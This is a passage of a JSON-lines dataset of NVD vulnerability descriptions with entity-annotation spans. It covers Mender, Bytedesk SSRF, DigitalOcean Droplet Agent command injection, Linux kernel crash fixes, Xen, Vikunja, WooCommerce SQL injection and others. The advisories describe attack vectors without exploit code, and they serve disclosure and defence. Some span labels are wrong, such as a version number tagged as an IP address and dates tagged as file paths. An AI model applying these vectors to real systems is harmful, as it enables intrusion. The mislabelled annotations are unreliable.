{"text": "The client in Northern.tech Mender 3.2.0, 3.2.1, and 3.2.2 has Incorrect Access Control. It listens on a random, unprivileged TCP port and exposes an HTTP proxy to facilitate API calls from additional client components running on the device. However, it listens on all network interfaces instead of only the localhost interface. Therefore, any client on the same network can connect to this TCP port and send HTTP requests. The Mender Client will forward these requests to the Mender Server. Additionally, if mTLS is set up, the Mender Client will connect to the Mender Server using the device's client certificate, making it possible for the attacker to bypass mTLS authentication and send requests to the Mender Server without direct access to the client certificate and related private key. Accessing the HTTP proxy from the local network doesn't represent a direct threat, because it doesn't expose any device or server-specific data. However, it increases the attack surface and can be a potential vector to exploit other vulnerabilities both on the Client and the Server.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-32290"}}
{"text": "A security vulnerability has been detected in Bytedesk up to 1.3.9. This impacts the function getModels of the file source-code/src/main/java/com/bytedesk/ai/springai/providers/openrouter/SpringAIOpenrouterRestService.java of the component SpringAIOpenrouterRestController. Such manipulation of the argument apiUrl leads to server-side request forgery. The attack may be launched remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 1.4.5.4 will fix this issue. The name of the patch is 975e39e4dd527596987559f56c5f9f973f64eff7. It is recommended to upgrade the affected component.", "spans": {"IP_ADDRESS: 1.4.5.4": [[468, 475]], "HASH: 975e39e4dd527596987559f56c5f9f973f64eff7": [[522, 562]], "FILEPATH: /src/main/java/com/bytedesk/ai/springai/providers/openrouter/SpringAIOpenrouterRestService.java": [[127, 222]], "VULNERABILITY: server-side request forgery": [[324, 351]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-3788"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_reject_ipv6: fix potential crash in nf_send_reset6()\n\nI got a syzbot report without a repro [1] crashing in nf_send_reset6()\n\nI think the issue is that dev->hard_header_len is zero, and we attempt\nlater to push an Ethernet header.\n\nUse LL_MAX_HEADER, as other functions in net/ipv6/netfilter/nf_reject_ipv6.c.\n\n[1]\n\nskbuff: skb_under_panic: text:ffffffff89b1d008 len:74 put:14 head:ffff88803123aa00 data:ffff88803123a9f2 tail:0x3c end:0x140 dev:syz_tun\n kernel BUG at net/core/skbuff.c:206 !\nOops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN PTI\nCPU: 0 UID: 0 PID: 7373 Comm: syz.1.568 Not tainted 6.12.0-rc2-syzkaller-00631-g6d858708d465 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\n RIP: 0010:skb_panic net/core/skbuff.c:206 [inline]\n RIP: 0010:skb_under_panic+0x14b/0x150 net/core/skbuff.c:216\nCode: 0d 8d 48 c7 c6 60 a6 29 8e 48 8b 54 24 08 8b 0c 24 44 8b 44 24 04 4d 89 e9 50 41 54 41 57 41 56 e8 ba 30 38 02 48 83 c4 20 90 <0f> 0b 0f 1f 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3\nRSP: 0018:ffffc900045269b0 EFLAGS: 00010282\nRAX: 0000000000000088 RBX: dffffc0000000000 RCX: cd66dacdc5d8e800\nRDX: 0000000000000000 RSI: 0000000000000200 RDI: 0000000000000000\nRBP: ffff88802d39a3d0 R08: ffffffff8174afec R09: 1ffff920008a4ccc\nR10: dffffc0000000000 R11: fffff520008a4ccd R12: 0000000000000140\nR13: ffff88803123aa00 R14: ffff88803123a9f2 R15: 000000000000003c\nFS:  00007fdbee5ff6c0(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000000 CR3: 000000005d322000 CR4: 00000000003526f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n  skb_push+0xe5/0x100 net/core/skbuff.c:2636\n  eth_header+0x38/0x1f0 net/ethernet/eth.c:83\n  dev_hard_header include/linux/netdevice.h:3208 [inline]\n  nf_send_reset6+0xce6/0x1270 net/ipv6/netfilter/nf_reject_ipv6.c:358\n  nft_reject_inet_eval+0x3b9/0x690 net/netfilter/nft_reject_inet.c:48\n  expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline]\n  nft_do_chain+0x4ad/0x1da0 net/netfilter/nf_tables_core.c:288\n  nft_do_chain_inet+0x418/0x6b0 net/netfilter/nft_chain_filter.c:161\n  nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline]\n  nf_hook_slow+0xc3/0x220 net/netfilter/core.c:626\n  nf_hook include/linux/netfilter.h:269 [inline]\n  NF_HOOK include/linux/netfilter.h:312 [inline]\n  br_nf_pre_routing_ipv6+0x63e/0x770 net/bridge/br_netfilter_ipv6.c:184\n  nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline]\n  nf_hook_bridge_pre net/bridge/br_input.c:277 [inline]\n  br_handle_frame+0x9fd/0x1530 net/bridge/br_input.c:424\n  __netif_receive_skb_core+0x13e8/0x4570 net/core/dev.c:5562\n  __netif_receive_skb_one_core net/core/dev.c:5666 [inline]\n  __netif_receive_skb+0x12f/0x650 net/core/dev.c:5781\n  netif_receive_skb_internal net/core/dev.c:5867 [inline]\n  netif_receive_skb+0x1e8/0x890 net/core/dev.c:5926\n  tun_rx_batched+0x1b7/0x8f0 drivers/net/tun.c:1550\n  tun_get_user+0x3056/0x47e0 drivers/net/tun.c:2007\n  tun_chr_write_iter+0x10d/0x1f0 drivers/net/tun.c:2053\n  new_sync_write fs/read_write.c:590 [inline]\n  vfs_write+0xa6d/0xc90 fs/read_write.c:683\n  ksys_write+0x183/0x2b0 fs/read_write.c:736\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7fdbeeb7d1ff\nCode: 89 54 24 18 48 89 74 24 10 89 7c 24 08 e8 c9 8d 02 00 48 8b 54 24 18 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 31 44 89 c7 48 89 44 24 08 e8 1c 8e 02 00 48\nRSP: 002b:00007fdbee5ff000 EFLAGS: 00000293 ORIG_RAX: 0000000000000001\nRAX: ffffffffffffffda RBX: 00007fdbeed36058 RCX: 00007fdbeeb7d1ff\nRDX: 000000000000008e RSI: 0000000020000040 RDI: 00000000000000c8\nRBP: 00007fdbeebf12be R08: 0000000\n---truncated---", "spans": {"FILEPATH: /ipv6/netfilter/nf_reject_ipv6.c.": [[359, 392]], "FILEPATH: /core/skbuff.c": [[554, 568], [839, 853], [909, 923], [1872, 1886]], "FILEPATH: /13/2024": [[806, 814]], "FILEPATH: /ethernet/eth.c": [[1919, 1934]], "FILEPATH: /linux/netdevice.h": [[1963, 1981]], "FILEPATH: /ipv6/netfilter/nf_reject_ipv6.c": [[2029, 2061]], "FILEPATH: /netfilter/nft_reject_inet.c": [[2104, 2132]], "FILEPATH: /netfilter/nf_tables_core.c": [[2160, 2187], [2232, 2259]], "FILEPATH: /netfilter/nft_chain_filter.c": [[2299, 2328]], "FILEPATH: /linux/netfilter.h": [[2363, 2381], [2463, 2481], [2512, 2530], [2646, 2664]], "FILEPATH: /netfilter/core.c": [[2424, 2441]], "FILEPATH: /bridge/br_netfilter_ipv6.c": [[2584, 2611]], "FILEPATH: /bridge/br_input.c": [[2702, 2720], [2768, 2786]], "FILEPATH: /core/dev.c": [[2835, 2846], [2886, 2897], [2949, 2960], [2998, 3009], [3059, 3070]], "FILEPATH: /net/tun.c": [[3112, 3122], [3164, 3174], [3220, 3230]], "FILEPATH: /x86/entry/common.c": [[3392, 3411], [3455, 3474]], "FILEPATH: read_write.c": [[3256, 3268], [3309, 3321], [3354, 3366]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[740, 746], [747, 753], [769, 775], [797, 803]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50256"}}
{"text": "A command injection vulnerability exists in DigitalOcean Droplet Agent through 1.3.2. The troubleshooting actioner component (internal/troubleshooting/actioner/actioner.go) processes metadata from the metadata service endpoint and executes commands specified in the TroubleshootingAgent.Requesting array without adequate input validation. While the code validates that artifacts exist in the validInvestigationArtifacts map, it fails to sanitize the actual command content after the \"command:\" prefix. This allows an attacker who can control metadata responses to inject and execute arbitrary OS commands with root privileges. The attack is triggered by sending a TCP packet with specific sequence numbers to the SSH port, which causes the agent to fetch metadata from http://169.254.169.254/metadata/v1.json. The vulnerability affects the command execution flow in internal/troubleshooting/actioner/actioner.go (insufficient validation), internal/troubleshooting/command/exec.go (direct exec.CommandContext call), and internal/troubleshooting/command/command.go (command parsing without sanitization). This can lead to complete system compromise, data exfiltration, privilege escalation, and potential lateral movement across cloud infrastructure.", "spans": {"IP_ADDRESS: 169.254.169.254": [[776, 791]], "FILEPATH: /troubleshooting/actioner/actioner.go": [[134, 171], [874, 911]], "FILEPATH: /troubleshooting/command/exec.go": [[947, 979]], "FILEPATH: /troubleshooting/command/command.go": [[1027, 1062]], "FILEPATH: v1.json": [[801, 808]], "VULNERABILITY: privilege escalation": [[1167, 1187]], "VULNERABILITY: command injection": [[2, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-24516"}}
{"text": "An issue was discovered in Xen through 4.14.x. When a Xenstore watch fires, the xenstore client that registered the watch will receive a Xenstore message containing the path of the modified Xenstore entry that triggered the watch, and the tag that was specified when registering the watch. Any communication with xenstored is done via Xenstore messages, consisting of a message header and the payload. The payload length is limited to 4096 bytes. Any request to xenstored resulting in a response with a payload longer than 4096 bytes will result in an error. When registering a watch, the payload length limit applies to the combined length of the watched path and the specified tag. Because watches for a specific path are also triggered for all nodes below that path, the payload of a watch event message can be longer than the payload needed to register the watch. A malicious guest that registers a watch using a very large tag (i.e., with a registration operation payload length close to the 4096 byte limit) can cause the generation of watch events with a payload length larger than 4096 bytes, by writing to Xenstore entries below the watched path. This will result in an error condition in xenstored. This error can result in a NULL pointer dereference, leading to a crash of xenstored. A malicious guest administrator can cause xenstored to crash, leading to a denial of service. Following a xenstored crash, domains may continue to run, but management operations will be impossible. Only C xenstored is affected, oxenstored is not affected.", "spans": {"SYSTEM: Xen": [[27, 30]], "VULNERABILITY: NULL pointer dereference": [[1236, 1260]], "VULNERABILITY: denial of service": [[1370, 1387]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-29484"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmptcp: Initialise rcv_mss before calling tcp_send_active_reset() in mptcp_do_fastclose().\n\nsyzbot reported divide-by-zero in __tcp_select_window() by\nMPTCP socket. [0]\n\nWe had a similar issue for the bare TCP and fixed in commit\n499350a5a6e7 (\"tcp: initialize rcv_mss to TCP_MIN_MSS instead\nof 0\").\n\nLet's apply the same fix to mptcp_do_fastclose().\n\n[0]:\nOops: divide error: 0000 [#1] SMP KASAN PTI\nCPU: 0 UID: 0 PID: 6068 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025\nRIP: 0010:__tcp_select_window+0x824/0x1320 net/ipv4/tcp_output.c:3336\nCode: ff ff ff 44 89 f1 d3 e0 89 c1 f7 d1 41 01 cc 41 21 c4 e9 a9 00 00 00 e8 ca 49 01 f8 e9 9c 00 00 00 e8 c0 49 01 f8 44 89 e0 99 <f7> 7c 24 1c 41 29 d4 48 bb 00 00 00 00 00 fc ff df e9 80 00 00 00\nRSP: 0018:ffffc90003017640 EFLAGS: 00010293\nRAX: 0000000000000000 RBX: 0000000000000000 RCX: ffff88807b469e40\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\nRBP: ffffc90003017730 R08: ffff888033268143 R09: 1ffff1100664d028\nR10: dffffc0000000000 R11: ffffed100664d029 R12: 0000000000000000\nR13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000\nFS:  000055557faa0500(0000) GS:ffff888126135000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f64a1912ff8 CR3: 0000000072122000 CR4: 00000000003526f0\nCall Trace:\n <TASK>\n tcp_select_window net/ipv4/tcp_output.c:281 [inline]\n __tcp_transmit_skb+0xbc7/0x3aa0 net/ipv4/tcp_output.c:1568\n tcp_transmit_skb net/ipv4/tcp_output.c:1649 [inline]\n tcp_send_active_reset+0x2d1/0x5b0 net/ipv4/tcp_output.c:3836\n mptcp_do_fastclose+0x27e/0x380 net/mptcp/protocol.c:2793\n mptcp_disconnect+0x238/0x710 net/mptcp/protocol.c:3253\n mptcp_sendmsg_fastopen+0x2f8/0x580 net/mptcp/protocol.c:1776\n mptcp_sendmsg+0x1774/0x1980 net/mptcp/protocol.c:1855\n sock_sendmsg_nosec net/socket.c:727 [inline]\n __sock_sendmsg+0xe5/0x270 net/socket.c:742\n __sys_sendto+0x3bd/0x520 net/socket.c:2244\n __do_sys_sendto net/socket.c:2251 [inline]\n __se_sys_sendto net/socket.c:2247 [inline]\n __x64_sys_sendto+0xde/0x100 net/socket.c:2247\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xfa/0xfa0 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f66e998f749\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007ffff9acedb8 EFLAGS: 00000246 ORIG_RAX: 000000000000002c\nRAX: ffffffffffffffda RBX: 00007f66e9be5fa0 RCX: 00007f66e998f749\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000003\nRBP: 00007ffff9acee10 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001\nR13: 00007f66e9be5fa0 R14: 00007f66e9be5fa0 R15: 0000000000000006\n </TASK>", "spans": {"FILEPATH: /25/2025": [[628, 636]], "FILEPATH: /ipv4/tcp_output.c": [[683, 701], [1516, 1534], [1584, 1602], [1629, 1647], [1700, 1718]], "FILEPATH: /mptcp/protocol.c": [[1759, 1776], [1815, 1832], [1877, 1894], [1932, 1949]], "FILEPATH: /x86/entry/syscall_64.c": [[2244, 2267], [2310, 2333]], "FILEPATH: socket.c": [[1979, 1987], [2032, 2040], [2075, 2083], [2110, 2118], [2154, 2162], [2210, 2218]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[562, 568], [569, 575], [591, 597], [619, 625]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68291"}}
{"text": "Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. When a TOTP validation fails, the login handler in pkg/routes/api/v1/login.go calls HandleFailedTOTPAuth and then unconditionally rolls back. HandleFailedTOTPAuth in pkg/user/totp.go uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone. The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time. This allows unlimited brute-force attempts against TOTP codes. This vulnerability is fixed in 2.3.0.", "spans": {"FILEPATH: /routes/api/v1/login.go": [[238, 261]], "FILEPATH: /user/totp.go": [[353, 366]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35597"}}
{"text": "Functions SDK for EdgeX is meant to provide all the plumbing necessary for developers to get started in processing/transforming/exporting data out of the EdgeX IoT platform. In affected versions broken encryption in app-functions-sdk “AES” transform in EdgeX Foundry releases prior to Jakarta allows attackers to decrypt messages via unspecified vectors. The app-functions-sdk exports an “aes” transform that user scripts can optionally call to encrypt data in the processing pipeline. No decrypt function is provided. Encryption is not enabled by default, but if used, the level of protection may be less than the user may expects due to a broken implementation. Version v2.1.0 (EdgeX Foundry Jakarta release and later) of app-functions-sdk-go/v2 deprecates the “aes” transform and provides an improved “aes256” transform in its place. The broken implementation will remain in a deprecated state until it is removed in the next EdgeX major release to avoid breakage of existing software that depends on the broken implementation. As the broken transform is a library function that is not invoked by default, users who do not use the AES transform in their processing pipelines are unaffected. Those that are affected are urged to upgrade to the Jakarta EdgeX release and modify processing pipelines to use the new \"aes256\" transform.", "spans": {"FILEPATH: /transforming/exporting": [[114, 137]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41278"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath11k: Clear affinity hint before calling ath11k_pcic_free_irq() in error path\n\nIf a shared IRQ is used by the driver due to platform limitation, then the\nIRQ affinity hint is set right after the allocation of IRQ vectors in\nath11k_pci_alloc_msi(). This does no harm unless one of the functions\nrequesting the IRQ fails and attempt to free the IRQ. This results in the\nbelow warning:\n\nWARNING: CPU: 7 PID: 349 at kernel/irq/manage.c:1929 free_irq+0x278/0x29c\nCall trace:\n free_irq+0x278/0x29c\n ath11k_pcic_free_irq+0x70/0x10c [ath11k]\n ath11k_pci_probe+0x800/0x820 [ath11k_pci]\n local_pci_probe+0x40/0xbc\n\nThe warning is due to not clearing the affinity hint before freeing the\nIRQs.\n\nSo to fix this issue, clear the IRQ affinity hint before calling\nath11k_pcic_free_irq() in the error path. The affinity will be cleared once\nagain further down the error path due to code organization, but that does\nno harm.\n\nTested-on: QCA6390 hw2.0 PCI WLAN.HST.1.0.1-05266-QCAHSTSWPLZ_V2_TO_X86-1", "spans": {"FILEPATH: /irq/manage.c": [[495, 508]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-23129"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/kvm: Force legacy PCI hole to UC when overriding MTRRs for TDX/SNP\n\nWhen running as an SNP or TDX guest under KVM, force the legacy PCI hole,\ni.e. memory between Top of Lower Usable DRAM and 4GiB, to be mapped as UC\nvia a forced variable MTRR range.\n\nIn most KVM-based setups, legacy devices such as the HPET and TPM are\nenumerated via ACPI.  ACPI enumeration includes a Memory32Fixed entry, and\noptionally a SystemMemory descriptor for an OperationRegion, e.g. if the\ndevice needs to be accessed via a Control Method.\n\nIf a SystemMemory entry is present, then the kernel's ACPI driver will\nauto-ioremap the region so that it can be accessed at will.  However, the\nACPI spec doesn't provide a way to enumerate the memory type of\nSystemMemory regions, i.e. there's no way to tell software that a region\nmust be mapped as UC vs. WB, etc.  As a result, Linux's ACPI driver always\nmaps SystemMemory regions using ioremap_cache(), i.e. as WB on x86.\n\nThe dedicated device drivers however, e.g. the HPET driver and TPM driver,\nwant to map their associated memory as UC or WC, as accessing PCI devices\nusing WB is unsupported.\n\nOn bare metal and non-CoCO, the conflicting requirements \"work\" as firmware\nconfigures the PCI hole (and other device memory) to be UC in the MTRRs.\nSo even though the ACPI mappings request WB, they are forced to UC- in the\nkernel's tracking due to the kernel properly handling the MTRR overrides,\nand thus are compatible with the drivers' requested WC/UC-.\n\nWith force WB MTRRs on SNP and TDX guests, the ACPI mappings get their\nrequested WB if the ACPI mappings are established before the dedicated\ndriver code attempts to initialize the device.  E.g. if acpi_init()\nruns before the corresponding device driver is probed, ACPI's WB mapping\nwill \"win\", and result in the driver's ioremap() failing because the\nexisting WB mapping isn't compatible with the requested WC/UC-.\n\nE.g. when a TPM is emulated by the hypervisor (ignoring the security\nimplications of relying on what is allegedly an untrusted entity to store\nmeasurements), the TPM driver will request UC and fail:\n\n  [  1.730459] ioremap error for 0xfed40000-0xfed45000, requested 0x2, got 0x0\n  [  1.732780] tpm_tis MSFT0101:00: probe with driver tpm_tis failed with error -12\n\nNote, the '0x2' and '0x0' values refer to \"enum page_cache_mode\", not x86's\nmemtypes (which frustratingly are an almost pure inversion; 2 == WB, 0 == UC).\nE.g. tracing mapping requests for TPM TIS yields:\n\n Mapping TPM TIS with req_type = 0\n WARNING: CPU: 22 PID: 1 at arch/x86/mm/pat/memtype.c:530 memtype_reserve+0x2ab/0x460\n Modules linked in:\n CPU: 22 UID: 0 PID: 1 Comm: swapper/0 Tainted: G        W           6.16.0-rc7+ #2 VOLUNTARY\n Tainted: [W]=WARN\n Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/29/2025\n RIP: 0010:memtype_reserve+0x2ab/0x460\n  __ioremap_caller+0x16d/0x3d0\n  ioremap_cache+0x17/0x30\n  x86_acpi_os_ioremap+0xe/0x20\n  acpi_os_map_iomem+0x1f3/0x240\n  acpi_os_map_memory+0xe/0x20\n  acpi_ex_system_memory_space_handler+0x273/0x440\n  acpi_ev_address_space_dispatch+0x176/0x4c0\n  acpi_ex_access_region+0x2ad/0x530\n  acpi_ex_field_datum_io+0xa2/0x4f0\n  acpi_ex_extract_from_field+0x296/0x3e0\n  acpi_ex_read_data_from_field+0xd1/0x460\n  acpi_ex_resolve_node_to_value+0x2ee/0x530\n  acpi_ex_resolve_to_value+0x1f2/0x540\n  acpi_ds_evaluate_name_path+0x11b/0x190\n  acpi_ds_exec_end_op+0x456/0x960\n  acpi_ps_parse_loop+0x27a/0xa50\n  acpi_ps_parse_aml+0x226/0x600\n  acpi_ps_execute_method+0x172/0x3e0\n  acpi_ns_evaluate+0x175/0x5f0\n  acpi_evaluate_object+0x213/0x490\n  acpi_evaluate_integer+0x6d/0x140\n  acpi_bus_get_status+0x93/0x150\n  acpi_add_single_object+0x43a/0x7c0\n  acpi_bus_check_add+0x149/0x3a0\n  acpi_bus_check_add_1+0x16/0x30\n  acpi_ns_walk_namespace+0x22c/0x360\n  acpi_walk_namespace+0x15c/0x170\n  acpi_bus_scan+0x1dd/0x200\n  acpi_scan_init+0xe5/0x2b0\n  acpi_init+0x264/0x5b0\n  do_one_i\n---truncated---", "spans": {"FILEPATH: /x86/mm/pat/memtype.c": [[2607, 2628]], "FILEPATH: /29/2025": [[2876, 2884]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[923, 928]], "SYSTEM: KVM": [[183, 186], [332, 335]], "ORGANIZATION: Google": [[2810, 2816], [2817, 2823], [2839, 2845], [2867, 2873]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40181"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nft_ct: skip expectations for confirmed conntrack\n\nnft_ct_expect_obj_eval() calls nf_ct_ext_add() for a confirmed\nconntrack entry. However, nf_ct_ext_add() can only be called for\n!nf_ct_is_confirmed().\n\n[ 1825.349056] WARNING: CPU: 0 PID: 1279 at net/netfilter/nf_conntrack_extend.c:48 nf_ct_xt_add+0x18e/0x1a0 [nf_conntrack]\n[ 1825.351391] RIP: 0010:nf_ct_ext_add+0x18e/0x1a0 [nf_conntrack]\n[ 1825.351493] Code: 41 5c 41 5d 41 5e 41 5f c3 41 bc 0a 00 00 00 e9 15 ff ff ff ba 09 00 00 00 31 f6 4c 89 ff e8 69 6c 3d e9 eb 96 45 31 ed eb cd <0f> 0b e9 b1 fe ff ff e8 86 79 14 e9 eb bf 0f 1f 40 00 0f 1f 44 00\n[ 1825.351721] RSP: 0018:ffffc90002e1f1e8 EFLAGS: 00010202\n[ 1825.351790] RAX: 000000000000000e RBX: ffff88814f5783c0 RCX: ffffffffc0e4f887\n[ 1825.351881] RDX: dffffc0000000000 RSI: 0000000000000008 RDI: ffff88814f578440\n[ 1825.351971] RBP: 0000000000000000 R08: 0000000000000000 R09: ffff88814f578447\n[ 1825.352060] R10: ffffed1029eaf088 R11: 0000000000000001 R12: ffff88814f578440\n[ 1825.352150] R13: ffff8882053f3a00 R14: 0000000000000000 R15: 0000000000000a20\n[ 1825.352240] FS:  00007f992261c900(0000) GS:ffff889faec00000(0000) knlGS:0000000000000000\n[ 1825.352343] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 1825.352417] CR2: 000056070a4d1158 CR3: 000000015efe0000 CR4: 0000000000350ee0\n[ 1825.352508] Call Trace:\n[ 1825.352544]  nf_ct_helper_ext_add+0x10/0x60 [nf_conntrack]\n[ 1825.352641]  nft_ct_expect_obj_eval+0x1b8/0x1e0 [nft_ct]\n[ 1825.352716]  nft_do_chain+0x232/0x850 [nf_tables]\n\nAdd the ct helper extension only for unconfirmed conntrack. Skip rule\nevaluation if the ct helper extension does not exist. Thus, you can\nonly create expectations from the first packet.\n\nIt should be possible to remove this limitation by adding a new action\nto attach a generic ct helper to the first packet. Then, use this ct\nhelper extension from follow up packets to create the ct expectation.\n\nWhile at it, add a missing check to skip the template conntrack too\nand remove check for IPCT_UNTRACK which is implicit to !ct.", "spans": {"FILEPATH: /netfilter/nf_conntrack_extend.c": [[330, 362]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47129"}}
{"text": "vyper is a Pythonic Smart Contract Language for the EVM. Multiple evaluation of a single expression is possible in the iterator target of a for loop. While the iterator expression cannot produce multiple writes, it can consume side effects produced in the loop body (e.g. read a storage variable updated in the loop body) and thus lead to unexpected program behavior. Specifically, reads in iterators which contain an ifexp (e.g. `for s: uint256 in ([read(), read()] if True else [])`) may interleave reads with writes in the loop body. Vyper for loops allow two kinds of iterator targets, namely the `range()` builtin and an iterable type, like SArray and DArray. During codegen, iterable lists are required to not produce any side-effects (in the following code, `range_scope` forces `iter_list` to be parsed in a constant context, which is checked against `is_constant`). However, this does not prevent the iterator from consuming side effects provided by the body of the loop. For SArrays on the other hand, `iter_list` is instantiated in the body of a `repeat` ir, so it can be evaluated several times. This issue is being addressed and is expected to be available in version 0.4.1. Users are advised to upgrade as soon as the patched release is available. There are no known workarounds for this vulnerability.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-27104"}}
{"text": "Woocommerce is an open source eCommerce plugin for WordPress. An SQL injection vulnerability impacts all WooCommerce sites running the WooCommerce plugin between version 3.3.0 and 3.3.6. Malicious actors (already) having admin access, or API keys to the WooCommerce site can exploit vulnerable endpoints of `/wp-json/wc/v3/webhooks`, `/wp-json/wc/v2/webhooks` and other webhook listing API. Read-only SQL queries can be executed using this exploit, while data will not be returned, by carefully crafting `search` parameter information can be disclosed using timing and related attacks. Version 3.3.6 is the earliest version of Woocommerce with a patch for this vulnerability. There are no known workarounds other than upgrading.", "spans": {"FILEPATH: /wp-json/wc/v3/webhooks": [[308, 331]], "FILEPATH: /wp-json/wc/v2/webhooks": [[335, 358]], "SYSTEM: WordPress": [[51, 60]], "VULNERABILITY: SQL injection": [[65, 78]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32790"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: set __exception_irq_entry with __irq_entry as a default\n\nfilter_irq_stacks() is supposed to cut entries which are related irq entries\nfrom its call stack.\nAnd in_irqentry_text() which is called by filter_irq_stacks()\nuses __irqentry_text_start/end symbol to find irq entries in callstack.\n\nBut it doesn't work correctly as without \"CONFIG_FUNCTION_GRAPH_TRACER\",\narm64 kernel doesn't include gic_handle_irq which is entry point of arm64 irq\nbetween __irqentry_text_start and __irqentry_text_end as we discussed in below link.\nhttps://lore.kernel.org/all/CACT4Y+aReMGLYua2rCLHgFpS9io5cZC04Q8GLs-uNmrn1ezxYQ@mail.gmail.com/#t\n\nThis problem can makes unintentional deep call stack entries especially\nin KASAN enabled situation as below.\n\n[ 2479.383395]I[0:launcher-loader: 1719] Stack depot reached limit capacity\n[ 2479.383538]I[0:launcher-loader: 1719] WARNING: CPU: 0 PID: 1719 at lib/stackdepot.c:129 __stack_depot_save+0x464/0x46c\n[ 2479.385693]I[0:launcher-loader: 1719] pstate: 624000c5 (nZCv daIF +PAN -UAO +TCO -DIT -SSBS BTYPE=--)\n[ 2479.385724]I[0:launcher-loader: 1719] pc : __stack_depot_save+0x464/0x46c\n[ 2479.385751]I[0:launcher-loader: 1719] lr : __stack_depot_save+0x460/0x46c\n[ 2479.385774]I[0:launcher-loader: 1719] sp : ffffffc0080073c0\n[ 2479.385793]I[0:launcher-loader: 1719] x29: ffffffc0080073e0 x28: ffffffd00b78a000 x27: 0000000000000000\n[ 2479.385839]I[0:launcher-loader: 1719] x26: 000000000004d1dd x25: ffffff891474f000 x24: 00000000ca64d1dd\n[ 2479.385882]I[0:launcher-loader: 1719] x23: 0000000000000200 x22: 0000000000000220 x21: 0000000000000040\n[ 2479.385925]I[0:launcher-loader: 1719] x20: ffffffc008007440 x19: 0000000000000000 x18: 0000000000000000\n[ 2479.385969]I[0:launcher-loader: 1719] x17: 2065726568207475 x16: 000000000000005e x15: 2d2d2d2d2d2d2d20\n[ 2479.386013]I[0:launcher-loader: 1719] x14: 5d39313731203a72 x13: 00000000002f6b30 x12: 00000000002f6af8\n[ 2479.386057]I[0:launcher-loader: 1719] x11: 00000000ffffffff x10: ffffffb90aacf000 x9 : e8a74a6c16008800\n[ 2479.386101]I[0:launcher-loader: 1719] x8 : e8a74a6c16008800 x7 : 00000000002f6b30 x6 : 00000000002f6af8\n[ 2479.386145]I[0:launcher-loader: 1719] x5 : ffffffc0080070c8 x4 : ffffffd00b192380 x3 : ffffffd0092b313c\n[ 2479.386189]I[0:launcher-loader: 1719] x2 : 0000000000000001 x1 : 0000000000000004 x0 : 0000000000000022\n[ 2479.386231]I[0:launcher-loader: 1719] Call trace:\n[ 2479.386248]I[0:launcher-loader: 1719]  __stack_depot_save+0x464/0x46c\n[ 